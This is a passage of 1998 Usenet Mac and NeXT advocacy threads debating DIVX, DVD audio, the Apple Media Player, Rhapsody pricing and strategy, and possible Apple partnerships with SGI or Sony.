> 60's BUG. Inspired machines with no where to go, crowded onto choked
freeways
> and stalled in garages waiting for cheaper (yester-year) gas or Sunday.
>
> Geeks conquering the American Dream is as fruitless a egomaniacal pursuit out
> there... But hey, MP3 in your garage from the comfort of your Z3 :-)
> Yeah...?
Have you been paying attention to the market? Microsoft is leading the
charge with their Auto PC. And if you look at the styling of today's auto
sound equipment, you'd see that the geek force is already entrenched.
The MP3 idea is a far more useful then current car/computer efforts, but I
suspect no currently existing compay could touch it do to copyright
issues. However, this AMP player might just be workable...every song you
could ever want to listen to on one DVD...weather it's at home, car,
office, or portable.
-ron
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: AMP, DVD, HDTV, and Titanic
Date: Fri, 24 Apr 1998 09:40:31 -0700
Organization: Graves Associates
Message-ID: <gmgraves-2404980940320001@sf-usr1-30-158.dialup.slip.net>
References: <01bd6e3f$00eed8d0$04387880@test1> <kalivoda-2304981044320001@defiant.cssites.uga.edu> <nasadowsk-2304981523500001@137.49.238.182>
In article <nasadowsk-2304981523500001@137.49.238.182>,
nasadowsk@uhavax.hartford.edu (Philip Nasadowski) wrote:
> I'd take a "wait and see" attitude toward HDTV - it's been a long promised
> thing, and seriously, I haven't seen the level of customer interest in it
> the DVD or DSS created - and that interest goes WAY down when you mention
> the set cost (>$2000US). Most people aren't serious enough with TV to lay
> down the kind of money HDTV people are talking about. Most people are
> fine with the current NTSC system, and I really don't see that changing
> anytime soon.
>
> As for DIVX, I fear it NOT for what it will do to the "rental" market - if
> fear it for what it will do to the SOFTWARE and MUSIC industry. DIVX is a
> warm up to see how people accept the concept of "pay per view, but wait, I
> OWN the damm disc, don't it?" If it flys, you can BET that CDs and
> Software will follow.
>
> In short, say goodbye to the idea that you actually own the CD or software
> you payed through the nose for.
While I agree that DIVX is a test-case for this kind of intellectual property
distribution, I do not think it will fly. First of all, people don't want to buy
something that they cannot use without paying further. They don't mind
renting films because they are paying only for the viewing rights, they
don't have to actually invest in the medium. Who wants to buy something,
have to store it, and then pay again every time one wants to use it. No this
is a stupid idea in a long list of stupid ideas. The video renters lobby is
already up in arms about it, and the only reason the tree-hugger crowd
aren't screaming about the waste of materials for a rental medium that
people are going to throw away after a few viewings, is that it hasn't
caught their attention yet-----but it will.
George Graves
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: AMP, DVD, HDTV, and Titanic
Date: Fri, 24 Apr 1998 09:43:21 -0700
Organization: Graves Associates
Message-ID: <gmgraves-2404980943220001@sf-usr1-30-158.dialup.slip.net>
References: <01bd6e3f$00eed8d0$04387880@test1> <gmgraves-2304980930580001@sf-pm5-13-77.dialup.slip.net> <6hp87t$oh3$7@ha2.rdc1.sdca.home.com>
In article <6hp87t$oh3$7@ha2.rdc1.sdca.home.com>, rr6013@yahoo.com wrote:
> In <gmgraves-2304980930580001@sf-pm5-13-77.dialup.slip.net> George Graves
> wrote:
> > In article <01bd6e3f$00eed8d0$04387880@test1>, "Todd Heberlein"
> > <todd@NetSQ.com> wrote:
> >
> > > Did I throw enough acronyms into the subject line?
> [snip todd's excellent adventure]
>
> > Unfortunately, Fox and Paramount, Titanic's producers, have apparently
> > decided to release the film as DIVx disk. This idiotic format, for those
> > who haven't heard, is a cross between DVD and pay-per-view cable. It
> > will (ostensibly) work like this: You buy a DIVx equipped player (no,
> > currently available DVD players won't work), and hook it to your
> > telephone line. When you buy a DIVx disk, you own only the disk itself.
> > You do not own VIEWING rights to the movie on the disk! Each time you
> > view it, the player authorizes a view, and stores the viewing information.
> > In the middle of the night, the player dials an 800 number and uploads the
> > viewing information. Then you get a bill for $3-5 a pop for watching the
> > movie. You can see how incredibly popular this format will be, can't you?
> > I wonder why the greedy movie companies can't? What will happen, is
> > that after committing to this idiocy, these two companies will put out
> > all of their films in DIVx for a couple of years, depriving the DVD market
> > of those titles. Then, in a couple of years, they will give up, citing poor
> > customer acceptance, and start making DVDs.
> > Oh, well, maybe they'll come to their senses before 'Titanic' is due out.
> > But I wouldn't hold my breath.
> >
> >
>
> Is everybody that pleased with DVD? I listened to DVD on high end gear and
> walked away wanting... It's all there but the musicality, emotion and
> presence of Hi-Fi. Why dump $10,000 into sub par stereo w/TV, albeit HDTV?
>
> -r
> Rex - I'm no audiophile - Riley
This has been discussed earlier, in another thread, but I'll recap my thoughts
for you here.
As far as serving the music is concerned, Dolby Pro Logic is much more benign.
I would far rather listen to Beethoven via a simple matrix (even with logic
steering), than to hear it via AC3. On the other hand, AC3 is much better at
doing the cinema surround thing than Dolby Pro-Logic could EVER be. The reason
is that Pro-Logic is just a matrix encoded signal. The logic works by enhancing
one channel at the momentary expense of all the others. The problem here is with
complex soundtracks hich have many things going on at once. A logic enhanced
matrix just cannot handle it. Matrices simply have very little real separation.
Dolby has barely 3dB front to back. The logic can enhance this momentarily to
almost 20 dB, but cannot sustain it. What you get is a "suggestion" of something
in the rear channel, which almost immediately becomes ephemeral and dissipates.
AC3 is discrete. There is a real right-rear and a real left-rear.
Pro-Logic is mono
in the rear channels. In my opinion, there is nothing 'hi-fi' about a film
soundtrack
anyway. Yeah, you have deep, loud bass and fairly full frequency response, but
the soundtrack has been overlaid with so many elements and has gone through
so many voltage controlled amplifiers, that any pretensions to audiophile
quality
sound, are just that- pretensions. When one watches a film, the eye is the
dominant
input sensor anyway, sound is secondary, in this sense, AC3 works just
fine, thank
you. But as I said, I wouldn't want to listen seriously to music through it.
BTW, the DVD picture quality, at its best, is superb. Far beyond videotape
or even
the very best LaserDisc transfers.
George Graves
From: bbennett@unixg.ubc.ca (Bruce Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Final Words on Rhapsody as a Server OS
Date: Fri, 24 Apr 1998 09:07:19 -0700
Organization: University of British Columbia
Message-ID: <1d7zb9a.1tkjdz4jzgdysN@p018.intchg2.net.ubc.ca>
References: <no-2104982333090001@grv230155.columbus.rr.com> <blackstar-2204981924300001@a-206-59.sp.neu.edu> <6hnou5$spq$3@newsfep3.sprintmail.com> <joe.ragosta-2304981334240001@wil133.dol.net> <1d7xvti.k1mbbwpj1gvgN@p007.intchg3.net.ubc.ca> <joe.ragosta-2304982050200001@elk70.dol.net>
Joe Ragosta <joe.ragosta@dol.net> wrote:
> Apple has already stated that .edu customers will get special pricing.
True. If the retail price is too much higher this will tend to cement a
small ghetto of privileged users surrounded by resentment and
indifference, a difficulty with Apple's educational pricing in the past.
> As for the Sci-tech people, most of them aren't going to balk at $400-500
> for an OS.
I can see the ads now: "You won't balk at this!" :^)
>That happens to be the list price for NT, BTW.
"Think the same." But it isn't the same, can't be: why would such
customers not go for Linux and NT plus Yellow Box on Intel? Apple can't
simultaneously work the "Yellow Box everywhere" angle and successfully
pursue an NT-like marketing strategy. Charging much more to include the
CLI/unix alongside the Blue and Yellow capabilities will simply throw
away a crucial advantage in this area (see, e.g., the expectations
expressed on the MachTen list) and undermine Apple hardware sales.
> Small developers? Many are .edu. Others can get by withouth the BSD stuff
> (or can use FreeBSD).
Of course. Many people can get by without Rhapsody (can use
Linux-NT-Yellow Box). Is this undeniable reality the basis for a
strategy for expanding one's market, or further niche-ifying it? (It's
not the BSD-ness, BTW, so much as the unix-ness that matters.)
> How many graphics artists use CLI? SERIOUS graphics artists....
Publishing, you may recall, is text as well as pictures. Focussing
exclusively on graphic artists in publishing would be a good way to
define that niche substantially smaller.
There's a natural tendency to look to the Win9x/NT marketing model for
the future of Mac OS and Rhapsody. The existence of the Blue Box and the
possibility of hiding the CLI and unix in Rhapsody make the relationship
here quite different.
Anyway, let's hope that at WWDC the marketing strategy will be outlined
or hinted at. I'm hoping that Apple is concentrating on hardware unit
numbers and margins, and will use Mac OS, Yellow Box _and_ CR1 to
increase them. With hardware prices falling as they have been, it's
nearly the case that _everyone_ is a consumer and everything is a
mass-market commodity. It's difficult to pursue a strictly
niche-exploiting strategy for Rhapsody in such conditions.
--
Bruce Bennett
From: jpalmer@-noshpam-best.com (Joseph Palmer)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
Date: Fri, 24 Apr 1998 15:34:51 GMT
Organization: My organization? Least recently used.
Message-ID: <6hqber$jpu$1@nntp1.ba.best.com>
References: <6hlrvl$q9q$1@nnrp1.dejanews.com> <353ea292.0@news.depaul.edu> <see-below-2204982044230001@209.24.241.227> <353ebd6e.0@news.depaul.edu> <6hn2h6$57p$23@ironhorse.plsys.co.uk> <6ho6g4$mfv$1@nntp1.ba.best.com> <6hpj6e$57p$31@ironhorse.plsys.co.uk>
In article <6hpj6e$57p$31@ironhorse.plsys.co.uk>, mmalcolm crawford <malcolm@plsys.co.uk> wrote:
>In <6ho6g4$mfv$1@nntp1.ba.best.com> Joseph Palmer wrote:
>> In article <6hn2h6$57p$23@ironhorse.plsys.co.uk>, mmalcolm crawford
><malcolm@plsys.co.uk> wrote:
>> <SNIP>
>> >
>> >(1) I think there are a lot of people out there doing stuff *quietly*,
>> >because they don't want others to know.
>>
>[...]
>> But it doesn't make sense if the app is a horizontal app, in that case you
>> want to push the OS platform as much as you can, in public, in private,
>> everywhere, even if it might help your competition, because without a wide
>> base your business model will fail.
>>
>> You do the math.
>>
>Umm, what math?
>
>mmalc.
>
Count the number of Mac developers who make horizontal apps that
have publicly embraced Rhapsody. (Small number)
Divide by the number of Mac developers who have horizontal apps for
the MacOS. (Big Number)
From: rmcassid@uci.edu
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Final Words on Rhapsody as a Server OS
Date: Fri, 24 Apr 1998 09:57:32 -0700
Organization: University of California, Irvine
Message-ID: <rmcassid-2404980957320001@dante.eng.uci.edu>
References: <joe.ragosta-2304981334240001@wil133.dol.net> <B16593B0-2D9B4@206.165.43.97>
In article <B16593B0-2D9B4@206.165.43.97>, "Lawson English"
<english@primenet.com> wrote:
>Joe Ragosta <joe.ragosta@dol.net> said:
>
>>
>> But if Sonata offers all of Rhapsody except the CLI and BSD support, who
>> cares?
>
>Sonata will offer PMT?
That's the rumor. Remember, Yellow Box requires some level of PMT.
-Bob Cassidy
From: rmcassid@uci.edu
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Final Words on Rhapsody as a Server OS
Date: Fri, 24 Apr 1998 09:56:13 -0700
Organization: University of California, Irvine
Message-ID: <rmcassid-2404980956130001@dante.eng.uci.edu>
References: <no-2104982333090001@grv230155.columbus.rr.com> <blackstar-2204981924300001@a-206-59.sp.neu.edu> <6hnou5$spq$3@newsfep3.sprintmail.com> <joe.ragosta-2304981334240001@wil133.dol.net> <1d7xvti.k1mbbwpj1gvgN@p007.intchg3.net.ubc.ca> <joe.ragosta-2304982050200001@elk70.dol.net> <1d7zb9a.1tkjdz4jzgdysN@p018.intchg2.net.ubc.ca>
In article <1d7zb9a.1tkjdz4jzgdysN@p018.intchg2.net.ubc.ca>,
bbennett@unixg.ubc.ca (Bruce Bennett) wrote:
>Joe Ragosta <joe.ragosta@dol.net> wrote:
>
>> Apple has already stated that .edu customers will get special pricing.
>
>True. If the retail price is too much higher this will tend to cement a
>small ghetto of privileged users surrounded by resentment and
>indifference, a difficulty with Apple's educational pricing in the past.
Do you have any idea what MS's educational pricing is? Or anyone else's
for that matter? For the most part, Apple's discount has been _less_ than
most everyone elses. K-12 targetted products are generally more heavily
discounted. WebObjects will be a very heavily discounted.
-Bob Cassidy
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Final Words on Rhapsody as a Server OS
Date: 24 Apr 1998 05:29:00 -0700
Organization: Primenet (602)416-7000
Message-ID: <6hq0ic$3ud@nntp02.primenet.com>
References: <no-2104982333090001@grv230155.columbus.rr.com> <blackstar-2204981924300001@a-206-59.sp.neu.edu> <6hnou5$spq$3@newsfep3.sprintmail.com> <6hnqgq$dt9@bgtnsc02.worldnet.att.net>
Ken Schuller <schullersite@NOworldnet.att.net> wrote:
: But, if I can dual-boot until the app support gets
: there, yeah- I'll roll with it for $200.
About $50 bucks is my "comfort zone" for trying an alternate OS. I've
bought SCO, Unixware, and Red Hat Linux for that. I went outside my
comfort zone to try Be R3.
What I'm leading to is that there are two prices: a price to pull in
people who might like to try an OS, and a price acceptable to those
already committed.
If I'd seen Rhapsody in use for a while, and heard good things about it in
the marketplace ... lets face it, I'm cheap. It would take me a year to
work up to spend $200.
: Hell, I'd do the same with Be if they ever got to a final release instead of
: all these preview releases... But no, I'm not going to shell out $70-100 to
: beta test someone's OS for them- M$ OR Be.
R3 on Intel (AMD really) seems stable, if a bit spartan to me, but my
runtime is pretty low so far.
BTW, my setup is a K6 with one of those caddys ($20) that lets me swap ide
boot drives. It's great to yank out the NT disk and slide in the Win98/Be
disk and reboot. This is just the thing for OS explorers, you can have
crash and burn disks, while keeping your main environment safe.
John
From: Kristofer Jon Magnusson <kris@xmission.xmission.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: first post
Date: 24 Apr 1998 11:27:54 -0600
Organization: XMission Internet (801 539 0852)
Message-ID: <6hqi2q$8ig$1@xmission.xmission.com>
References: <6hno82$spq$1@newsfep3.sprintmail.com> <353fa39d.26354803@news.newsguy.com> <6hocg6$86f$2@newsfep2.sprintmail.com> <3540019e.1062627@news.newsguy.com>
In comp.sys.next.advocacy Tom Elam <telam@iquest.net> wrote:
: It worked for me simply because I followed the ISP's readme file that I
: received with the service.
I wrote my ISP's help file on how to set up PPP with NEXTSTEP/OPENSTEP,
including instructions on setting up PAP and CHAP, and a simple redial
script.
It takes five minutes to set up PPP on NEXTSTEP with that help file.
..........kris
--
Kristofer Jon Magnusson <kris@xmission.com>
"NASA and its partners have identified vacuum
as a major attribute of space."
From: rmcassid@uci.edu
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on SGI!
Date: Fri, 24 Apr 1998 10:24:09 -0700
Organization: University of California, Irvine
Message-ID: <rmcassid-2404981024090001@dante.eng.uci.edu>
References: <6hj4s6$61q@news.nd.edu> <01bd6d64$7b8394e0$04387880@test1> <6hints$99c$1@ns3.vrx.net> <6hjkpg$cc$3@ha2.rdc1.sdca.home.com> <6hk9r4$ga7$1@ns3.vrx.net> <6hl31j$8an$1@ha2.rdc1.sdca.home.com> <6hklh0$oit$1@ns3.vrx.net> <6hm81r$bc9$1@ha2.rdc1.sdca.home.com> <rmcassid-2304981210470001@dante.eng.uci.edu> <6hp6fb$oh3$5@ha2.rdc1.sdca.home.com>
In article <6hp6fb$oh3$5@ha2.rdc1.sdca.home.com>, rr6013@yahoo.com wrote:
>SGI BusinessCase Paraphrased for simplicity: Port SGI killler.apps to
>Rhapsody (ie. OpenGL)
> 1 Marketing Strategy: SGI is Performance
> 2 Marketing Plan: Specialized Hdwe/Software
> 3 Sales Strategy: Pretty Sweet Systems !Apple's on Steroids
> 4 Sales Plan: Lock-up Content Creation Market
> 5 Business Plan: Cream off the Top w/PPC/G4 Clones
>
>Apple gets bragging rights for RhapsodyOS penetration?
I think the key on Rhapsody is variety. I can run it on a $1600 G3 AIO all
the way up to ??? and not have my software go all to hell. Without that
range, why not adopt YB/NT for distribution, pick up Rhapsody/Intel for
development, and say 'screw your hardware, Apple'. Apple needs to locate
some hardware somewhere that distinguishes it substantially over x86. They
don't have that yet. In fact, their high end right now looks to be x86
unless they can get Rhapsody running on IBM PowerPC iron.
>SGI steals Apple's performance thunder?
Uh, what performance thunder? Apple has a marginal lead in CPU speed, but
is on a par or behind pretty much everywhere else. Content creation loves
throughput.
>Apple loses content creation market to SGI brands?
The approach here is to get SGI to augment Apple's offerings, not overlap
them. SGI wouldn't take my content creation, I can't afford it. O2's start
at $6k, no?
>How are these good reasons for Apple to work toward SGI?
If Apple can do the hardware alone, then I don't see the need so much. But
I have to wonder if they can. Apple has not been very effective at pushing
throughput. Not at all. Will this change?
>Didn't Jobs get Apple out of this situation with POWER Computing?
Power was different. They overlapped and took from Apple's core markets.
SGI need not. SGI historically never really has. That might be changing
under the new SGI leadership, though.
><APOLOGY=ON>
>WRT Rhapsody ServerOS:
>What are we drilling $400+ million Bucko's into RhapsodyOS server software?
>Apple sure isn't drilling for softGOLD on Sun, SGI, HP, etc... hardware, are
>they? In case anybody (MJP included) has any doubts, the focus here is on the
>hardware stash! Software is the whore we use to sell the hardware. Hardware
>takes us all the way to the bank...
>REF: AAPL::Standard&Poor's Industry:Computers(Hardware)
></APOLOGY>
>
>The Revolution we are enjoying has been from Hardware advances. Nothing on
>the software side matches Hardware technological achievements in the publics
>mind. Apple has milked GUI advancement to 3% marketshare. NeXT stood on the
>pedestal of software superiority and all but went Chapter13. For the first
>time in a very long time,SJ has gotten Apple's priority back on hardware.
>They straightened out their engineering, product plan, marketing plan and
>customer service. Not only are their products not blowing-up on customers laps
>but the product line is human comprehensible, runs w/o crashing and you can
>build a system to order right on the net!
Those are excellent points, but can Apple make the transition from
underpowered and poorly balanced hardware to high powered, well balanced
stuff. I know Jon is on board now, which makes me feel confident in
balance but I didn't think he did much on high throughput. If Apple is
targetting content creation and education, they need low-end cheapo
hardware and high-end get-in-your-face-performance hardware. That's quite
a range... I have doubts is all.
>Synergy, timing, options and survival. (laughable now,yes Ha ha :) SGI has
>miscued their actions in the Industry. Apple may prove insight, intuitition,
>intelligence and opportunity to accomplish what SGI wants.
Reasonable enough.
>Check NYSE: AAPL, DELL, SHRP, DIS, etc... all lead the market. All share (or
>did) an Internet WebObject strategy. These companies are reporting "doubling"
>on Internet catalog sales. We know Dell was churning $1 mil./mo., then $3 mil
>and now I think I heard $6 mil? Can't argue RESULTS.
Dell supposedly is churning $3M/DAY. Of course, when that's your only
sales outlet...
>Yes Dell went MS. Bet a DELL momento hangs to forever remind SJ. And there'in
>lies my last credo why Apple will not let BrandX in the door on the server,
>only to lose the software as they did with Dell. Better to meet ALL
>customer's needs, gentlemen!
Can they do it? I'm giving Apple a *lot* of credit now for having overcome
problems of old, but this is something else altogether.
-Bob Cassidy
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Final Words on Rhapsody as a Server OS
Date: 24 Apr 1998 13:37:46 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6hqila$n8p$1@crib.bevc.blacksburg.va.us>
References: <no-2104982333090001@grv230155.columbus.rr.com> <blackstar-2204981924300001@a-206-59.sp.neu.edu> <6hnou5$spq$3@newsfep3.sprintmail.com> <6hpb9k$oh3$10@ha2.rdc1.sdca.home.com>
In article <6hpb9k$oh3$10@ha2.rdc1.sdca.home.com>, rr6013@yahoo.com wrote:
> In <6hnou5$spq$3@newsfep3.sprintmail.com> macghod@concentric.net wrote:
> > Of course hopefully Rhapsody will only cost about $200
> Ah, then its done. Having witnessed your support issues around the OS
> configuration rest assured that CR1 will be > $ 500 and < $1000 priced.
And your experience with Rhapsody configuration issues is, exactly, what?
Note that macghod was using an OPENSTEP for Mach system, not Rhapsody.
You're pretty much assuming that Apple won't change anything between
OSfM/4.2 and Rhapsody CR1. Doesn't seem like a very valid assumption
to me.
From: "Ken Schuller" <schullersite@NOworldnet.att.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Final Words on Rhapsody as a Server OS
Date: Fri, 24 Apr 1998 12:40:34 -0500
Organization: AT&T WorldNet Services
Message-ID: <6hqild$gk2@bgtnsc02.worldnet.att.net>
References: <no-2104982333090001@grv230155.columbus.rr.com> <blackstar-2204981924300001@a-206-59.sp.neu.edu> <6hnou5$spq$3@newsfep3.sprintmail.com> <6hnqgq$dt9@bgtnsc02.worldnet.att.net> <6hq0ic$3ud@nntp02.primenet.com>
John Jensen wrote in message <6hq0ic$3ud@nntp02.primenet.com>...
>Ken Schuller <schullersite@NOworldnet.att.net> wrote:
>: But, if I can dual-boot until the app support gets
>: there, yeah- I'll roll with it for $200.
>
>About $50 bucks is my "comfort zone" for trying an alternate OS. I've
>bought SCO, Unixware, and Red Hat Linux for that. I went outside my
>comfort zone to try Be R3.
>
>What I'm leading to is that there are two prices: a price to pull in
>people who might like to try an OS, and a price acceptable to those
>already committed.
>
>If I'd seen Rhapsody in use for a while, and heard good things about it in
>the marketplace ... lets face it, I'm cheap. It would take me a year to
>work up to spend $200.
>
>: Hell, I'd do the same with Be if they ever got to a final release instead
of
>: all these preview releases... But no, I'm not going to shell out $70-100
to
>: beta test someone's OS for them- M$ OR Be.
>
>R3 on Intel (AMD really) seems stable, if a bit spartan to me, but my
>runtime is pretty low so far.
>
>BTW, my setup is a K6 with one of those caddys ($20) that lets me swap ide
>boot drives. It's great to yank out the NT disk and slide in the Win98/Be
>disk and reboot. This is just the thing for OS explorers, you can have
>crash and burn disks, while keeping your main environment safe.
>
>John
>
I've thought about that myself, John. I currently have 2 WD AC34300L 4.3GB
UDMA drives fixed-mounted in my case, but hell- HD's are certainly cheap
enough these days- it might make more sense to go that route rather than
using System Commander and multiple partitions.
Come to think of it- a removable 2GB HD would ROCK for Linux.... Hmmm...
:)
Take it easy,
Ken
Ken Schuller
Network Systems Specialist
NovaNET Learning, Inc.
========================
"In computing because it beats working for a living."
I speak for me.
Remove the obvious spam foil to reply via e-mail.
==========================================
From: rmcassid@uci.edu
Newsgroups: comp.sys.next.advocacy
Subject: Re: AAPL Radar: Sony, Matsushita Ahead!
Date: Fri, 24 Apr 1998 10:32:19 -0700
Organization: University of California, Irvine
Message-ID: <rmcassid-2404981032190001@dante.eng.uci.edu>
References: <6hpebu$5f1$1@ha2.rdc1.sdca.home.com>
In article <6hpebu$5f1$1@ha2.rdc1.sdca.home.com>, rr6013@yahoo.com wrote:
>I've advocated (c.s.n.a.: What's macosrumors on about? Tue, 04 Nov 97) Apple
>can't make it back alone and Sony is the "best choice" for valuable
>manufacturing, distribution and sales channels they bring to Apple products.
>Go Sony...
Go everybody.
Who *hasn't* been rumored to be making a play for Apple? Unfortunately, I
think the price would be fairly high right now to take Apple. Given a 100%
return to investors over the last 4 months and two profitable quarters, I
don't think investors feel they need bailing out and there are few large
shareholders to carry the rest. It'd be a tough sell for anything less
than $60, methinks. Throw out some solid news on low-cost hardware, MacNC,
or AMP and watch that price go to triple digits.
Perhaps a new alliance would be better received. I agree that Sony would
be a good match (except for the problems in Japan right now) as the two
companies have the same _feel_. Hard to explain. Anyhow, if it were to
happen, be prepared for the 'Is Sony Making the BetaMax Mistake Again with
Apple?' headlines. It's just waaaay too tempting...
-Bob Cassidy
From: schuerig@acm.org (Michael Schuerig)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Petition to Alladin?
Date: Fri, 24 Apr 1998 18:23:25 +0200
Organization: Completely Disorganized
Message-ID: <1d801f7.1aiz3ztxarzuiN@rhrz-isdn3-p7.rhrz.uni-bonn.de>
References: <01bd6cff$da3af880$23f0bfa8@davidsul> <353C030C.A48C6D2E@milestonerdl.com> <6hh3t0$c1l$1@news.digifix.com> <353C0FD7.B490AEAB@milestonerdl.com> <6hhas2$eef$1@news.digifix.com> <353C31FB.926B5243@milestonerdl.com> <6hiuf2$36m$1@news.digifix.com> <6hna1p$g3k$1@news.idiom.com> <joe.ragosta-2304980856170001@wil106.dol.net> <6ho98c$3ac$1@news.digifix.com> <copus-2304981645580001@137.104.132.51>
Jerry A. Copus <copus@uwplatt.edu> wrote:
> In article <6ho98c$3ac$1@news.digifix.com>, sanguish@digifix.com (Scott
> Anguish) wrote:
>
> >On 04/23/98, Joe Ragosta wrote:
> ><snip>
> >>There's another alternative--push people to drop .sit formats.
> >>
> >
> > Thats unrealistic for many reasons, including volumes and
> >volumes of archived files.
>
> Ah, but how many remember the "ARC" war on PC BBSes a few years ago? Tons
> of files were converted almost overnight from System Enhancement
> Associates' (correct?) ARC format to ZIP because it was smaller, faster,
> and a little bit more open. Provide that and a conversion tool and I think
> you'd be suprised at the result.
Online archives may not be that bad. The problem is that the _users_
have archived tons of files in StuffIt format(s). Look around in your
personal archive; how many Compact Pro (.cpt) files are there?
Michael
--
Michael Schuerig
mailto:schuerig@acm.org
http://www.uni-bonn.de/~uzs90z/
From: "Todd Heberlein" <todd@NetSQ.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: AAPL Radar: Sony, Matsushita Ahead!
Date: 24 Apr 1998 18:09:11 GMT
Organization: Net Squared, Inc.
Message-ID: <01bd6f99$fc94c6d0$04387880@test1>
References: <6hpebu$5f1$1@ha2.rdc1.sdca.home.com>
Rex Riley <rriley@yahoo.com> wrote
> ref: http://www.mercurynews.com/columnists/nolan/docs/cn042398.hml
URL was slightly wrong. Use "htm" instead of "hml"
http://www.mercurynews.com/columnists/nolan/docs/cn042398.htm
> Steve Job's Interim CEO title has more prescient meaning...
Apple being prepped for sale would make since given that Apple has
essentially stopped looking for a CEO. Why bring in a CEO, with lots
of stock options, only to sale the company a few months later.
Also, pruning a company of all but its core assets as well as cutting
back staff also often precedes a sale.
Apple has been talking about getting into the consumer electronics
market for a few months. And while Apple will not say much more than
this, combined with the rumors of the Apple Media Player (AMP), Jobs
Keynote at NAB, and the opportunity created by the move to digital
TV, HDTV, and DVD, it only makes since for Apple and Sony or
Panasonic to team.
Finally, Compaq and other companies have announced plans to get into
the set-top box business[1], Compaq was also at the National
Association of Broadcasters[2], and several broadcasters have
announced support for the PC-favored HDTV format[3]. In short, the
PC wars are about to spill over into consumer electronics, and the
consumer electronics companies may want an ally in the PC market with
strong brand loyalty.
It is going to be an exciting year,
Todd todd@NetSQ.com
[1] http://www.news.com/News/Item/0,4,21428,00.html?st.ne.fd.gif.d
[2] http://www.news.com/News/Item/0,4,20798,00.html?st.ne.ni.rel
[3] http://www.news.com/News/Item/0,4,20763,00.html?st.ne.ni.rel
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: AMP, DVD, HDTV, and Titanic
Date: 24 Apr 1998 18:31:39 GMT
Organization: @Home Network
Message-ID: <6hqlqb$eed$1@ha2.rdc1.sdca.home.com>
References: <01bd6e3f$00eed8d0$04387880@test1> <rmd103-2304981503430001@beachhouse.soc.psu.edu>
<6hp94q$oh3$8@ha2.rdc1.sdca.home.com> <rmd103-2404981236430001@beachhouse.soc.psu.edu>
Mime-Version: 1.0
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Cc: rmd103@psu.edu
In <rmd103-2404981236430001@beachhouse.soc.psu.edu> RM DAscenzo wrote:
> In article <6hp94q$oh3$8@ha2.rdc1.sdca.home.com>, rr6013@yahoo.com wrote:
>
> > Ahh the American Dream... a dying dream, America's Love Affair with the
> > automobile. BMW Z3 capturing yester-year open coupe 503 exhileration.
> Miata
> > taste of the past - British seated open cockpit roadsters. VW's Beetle
cum
> > 60's BUG. Inspired machines with no where to go, crowded onto choked
> freeways
> > and stalled in garages waiting for cheaper (yester-year) gas or Sunday.
> >
> > Geeks conquering the American Dream is as fruitless a egomaniacal pursuit
out
> > there... But hey, MP3 in your garage from the comfort of your Z3 :-)
> > Yeah...?
>
> Have you been paying attention to the market? Microsoft is leading the
> charge with their Auto PC. And if you look at the styling of today's auto
> sound equipment, you'd see that the geek force is already entrenched.
>
> The MP3 idea is a far more useful then current car/computer efforts, but I
> suspect no currently existing compay could touch it do to copyright
> issues. However, this AMP player might just be workable...every song you
> could ever want to listen to on one DVD...weather it's at home, car,
> office, or portable.
>
>
I was half-toastEd latE last night... I didn't do the subject justice. The
light of day has shown me the error in my ways :-) I don't buy into DVD
quality if that's the MP3 hype. DVD is just a "More is Less" technology. I
prefer to get more musicality and the DVD I've listened to can't deliver CD
quality sound. I can get DVD quality sound over FM which I quess is their
"threshold" of acceptance. But face it its just a cheap sounding CD disc.
Just because MS is craming their shit into your car doesn't mean you need any
of it. This is Bill's fantasy... I don't need ABS, alarms, fuel consumption,
air bags, etc... The cruft of technology crammed into today's sticker prices
is techno run amok. I see now where the newest transmissions shift for the
driver based on the "style" button selected. Sheesh, give me a break!
On Guard is the nicest piece of technology integration I've seen for autos.
It ain't all there yet. But it promises to allow you to bring up your car on
the Internet through your browser and find out where it is or has been anytime
of day. Cool for fathers of wayward teenagers! Better still for the VW
rabbit owners looking for his stolen car...
-r
Rex
From: macghod@concentric.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Final Words on Rhapsody as a Server OS
Date: 24 Apr 1998 18:49:14 GMT
Message-ID: <6hqmra$jpk$1@newsfep3.sprintmail.com>
References: <no-2104982333090001@grv230155.columbus.rr.com> <blackstar-2204981924300001@a-206-59.sp.neu.edu>
<6hnou5$spq$3@newsfep3.sprintmail.com> <6hpb9k$oh3$10@ha2.rdc1.sdca.home.com>
<6hqila$n8p$1@crib.bevc.blacksburg.va.us>
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Cc: nurban@crib.bevc.blacksburg.va.us
> > Ah, then its done. Having witnessed your support issues around the OS
> > configuration rest assured that CR1 will be > $ 500 and < $1000 priced.
>
> And your experience with Rhapsody configuration issues is, exactly, what?
> Note that macghod was using an OPENSTEP for Mach system, not Rhapsody.
> You're pretty much assuming that Apple won't change anything between
> OSfM/4.2 and Rhapsody CR1. Doesn't seem like a very valid assumption
> to me.
This is a very good point. Rhapsody could of been out a long long time ago
if it was just
OPENSTEP ported to powerpc. But no, Apple wanted to mac OPENSTEP maclike,
so even stooopid mac users like me can use it easily
--
running on a PC with OPENSTEP, the year 2000 bug-free operating system
Email address is invalid, please email macghod@concentric.net
From: rmcassid@uci.edu
Newsgroups: comp.sys.next.advocacy
Subject: Re: but what about FrameMaker?
Date: Fri, 24 Apr 1998 10:02:41 -0700
Organization: University of California, Irvine
Message-ID: <rmcassid-2404981002410001@dante.eng.uci.edu>
